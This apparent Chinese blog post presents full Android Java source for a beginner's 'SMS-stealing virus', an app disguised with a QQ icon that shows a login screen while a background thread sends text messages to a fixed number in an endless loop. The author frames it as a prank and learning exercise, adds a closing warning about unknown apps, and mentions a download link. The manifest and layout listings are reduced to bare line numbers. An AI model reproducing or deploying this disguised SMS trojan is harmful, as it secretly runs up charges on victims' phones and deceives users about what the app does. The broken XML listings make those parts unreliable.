博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
安卓小程序之“偷发短信病毒”
阅读量:4948 次
发布时间:2019-06-11

本文共 2101 字,大约阅读时间需要 7 分钟。

昨天晚上,看到了一个例子,就特别感兴趣迫不及待的想要亲手实现它。是一个后台偷发短信的软件,用的QQ的图标伪装,当用户安装上它并打开时会一直停留在登陆时的画面,很有意思

然而,用户并不知道这时软件已经在后台偷偷的给它指定的号码发短信了。如果在愚人节的时候用这个来愚弄小伙伴们,还挺有意思的,比如让软件指定给某个用户发送:“你好,我是猪!”,后果可想而知,哈哈

如下是程序的源代码:

MainActivity.java文件:

package com.wsqJohn.qq;import android.os.Bundle;import android.os.SystemClock;import android.app.Activity;import android.telephony.SmsManager;import android.view.Menu;import android.view.Window;public class MainActivity extends Activity {    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);                //去除标题必须在setContentView 方法前调用        requestWindowFeature(Window.FEATURE_NO_TITLE);//取出标题                setContentView(R.layout.activity_main);                //开启一个子线程.while(true)循环发短信                new Thread(new Runnable() {						@Override			public void run() {								while(true){					//循环发送短信									SystemClock.sleep(100000);					SmsManager smsManager = SmsManager.getDefault();//短信管理器					smsManager.sendTextMessage(							"10086", //收件人的电话							null, 							"你好啊!!!", 							null, //如果发送成功,回调此方法,通知我们							null);//当对方接受成功,回调此方法				}						}		}).start();    }    @Override    public boolean onCreateOptionsMenu(Menu menu) {        // Inflate the menu; this adds items to the action bar if it is present.        getMenuInflater().inflate(R.menu.main, menu);        return true;    }    }

  AndroidManifest.xml文件:

1 
2
6 7
10
11
12 13
18
21
22
23 24
25
26 27 28 29

activity_main.xml布局文件:

1 
6

总结:这次的练习,更加熟悉了安卓开发的流程,以及各个文件间的关系,也更加熟悉了几个快捷键的用法。如:ctr+1导包,alt+/自动补全代码。还有很多快捷方式,可以让我们在编写代码时非常方便快捷,相信随着学习的进度,掌握的也会更多。

提醒:这次的学习让我更加明白了,不能随便下载并安装位置来源的软件,这样很容易被咋骗,因为这样的一般都有问题,比如说此次的软件,如果在while(true)死循环中SystemClock.sleep(100000);休眠时间设置的不是100秒,而是一秒,指定的电话号码不是10086,那么在用户打开程序的过程中,后天每一秒种都在给指定用户发短信,直到停机欠费,除非用户即使发现并卸载该应用!所以安全第一!

这是此次的下载链接,指定为发给10086的

 

转载于:https://www.cnblogs.com/wsqJohn/p/5277317.html

你可能感兴趣的文章
KMP算法介绍总结
查看>>
eclipse package,source folder,folder区别及相互转换
查看>>
代理模式
查看>>
MySQL数据类型
查看>>
处理date类型对象的方式
查看>>
创建数据库的注意事项
查看>>
开源DataGridView扩展(2) 自定义的Button列
查看>>
Codeforces Round #100 E. New Year Garland (第二类斯特林数+dp)
查看>>
laravel PC内部方法调用
查看>>
Activity 工作流配置
查看>>
java学习笔记-JavaWeb篇三
查看>>
类型重命名 typedef
查看>>
leecode第七十二题(编辑距离)
查看>>
git 常用命令
查看>>
java休眠
查看>>
Android之SQLite
查看>>
kafka基本原理
查看>>
Silverlight实用窍门系列:16.以某点为圆心绘制多条线,线与线之间角度相同以组成圆【附带源码实例】...
查看>>
MFC 类库
查看>>
精读《syntax-parser 源码》
查看>>